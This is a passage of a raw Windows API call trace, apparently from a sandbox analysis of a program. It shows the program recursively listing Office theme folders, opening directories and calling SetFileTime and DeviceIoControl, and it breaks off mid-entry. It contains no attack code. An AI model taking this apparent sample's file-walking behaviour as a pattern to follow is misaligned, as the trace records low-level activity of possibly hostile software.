[0241.649] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x910d50 [0241.649] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x914ae8 [0241.649] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.649] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x553, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0241.649] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.649] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.649] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.649] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.649] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.649] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x910d70 [0241.649] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x914bf0 [0241.649] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.649] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0241.649] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.649] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.649] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.649] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.649] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.649] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x910d90 [0241.650] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x914cf8 [0241.650] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.650] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0241.650] GetLastError () returned 0x12 [0241.650] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0241.650] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0241.650] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.650] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xede9bc00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xede9bc00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xba44, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE.ELM", cAlternateFileName="")) returned 1 [0241.650] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x262, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE.INF", cAlternateFileName="")) returned 1 [0241.650] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x553, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0241.650] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0241.650] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0241.650] GetLastError () returned 0x12 [0241.650] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9147d0) returned 1 [0241.650] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0241.650] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9148d8) returned 1 [0241.650] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0241.650] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS", cAlternateFileName="")) returned 1 [0241.650] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.650] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0241.688] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0241.688] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0241.688] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x916398 [0241.689] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x916398, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x916398, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0241.689] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x916398) returned 1 [0241.689] NtClose (Handle=0x1bc) returned 0x0 [0241.689] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.689] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.689] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0241.689] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0241.689] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.689] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9148d8 [0241.689] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0241.689] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.689] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf17d4300, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6041aaf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf17d4300, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xd613, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS.ELM", cAlternateFileName="")) returned 1 [0241.689] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.689] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.689] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.689] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.689] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.689] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9147d0 [0241.689] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0241.689] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x910db0 [0241.689] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x914e00 [0241.689] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x6c0) returned 0x916398 [0241.690] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x913d10) returned 1 [0241.690] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.690] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS.INF", cAlternateFileName="")) returned 1 [0241.690] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.690] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.690] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.690] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.690] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.690] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x910dd0 [0241.690] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x914f08 [0241.690] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.690] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x50d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0241.690] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.690] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.690] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.690] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.690] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.690] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x910df0 [0241.690] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x915010 [0241.690] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.690] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x505f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0241.690] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.690] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.690] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.690] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.690] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.690] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x910e10 [0241.690] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x915118 [0241.691] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.691] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x505f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0241.691] GetLastError () returned 0x12 [0241.691] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0241.691] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0241.691] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.691] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf17d4300, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6041aaf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf17d4300, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xd613, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS.ELM", cAlternateFileName="")) returned 1 [0241.691] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS.INF", cAlternateFileName="")) returned 1 [0241.691] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x50d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0241.691] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x505f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0241.691] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x505f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0241.691] GetLastError () returned 0x12 [0241.691] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9148d8) returned 1 [0241.691] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0241.691] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9147d0) returned 1 [0241.691] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0241.691] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE", cAlternateFileName="")) returned 1 [0241.691] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0241.691] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0241.692] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0241.692] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0241.692] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x916a60 [0241.692] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x916a60, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x916a60, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0241.692] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x916a60) returned 1 [0241.692] NtClose (Handle=0x1b0) returned 0x0 [0241.692] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0241.692] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.692] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0241.692] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0241.692] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.692] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9147d0 [0241.692] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0241.692] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.692] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ae7000, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ae7000, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE.ELM", cAlternateFileName="")) returned 1 [0241.692] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.693] RtlFreeHeap 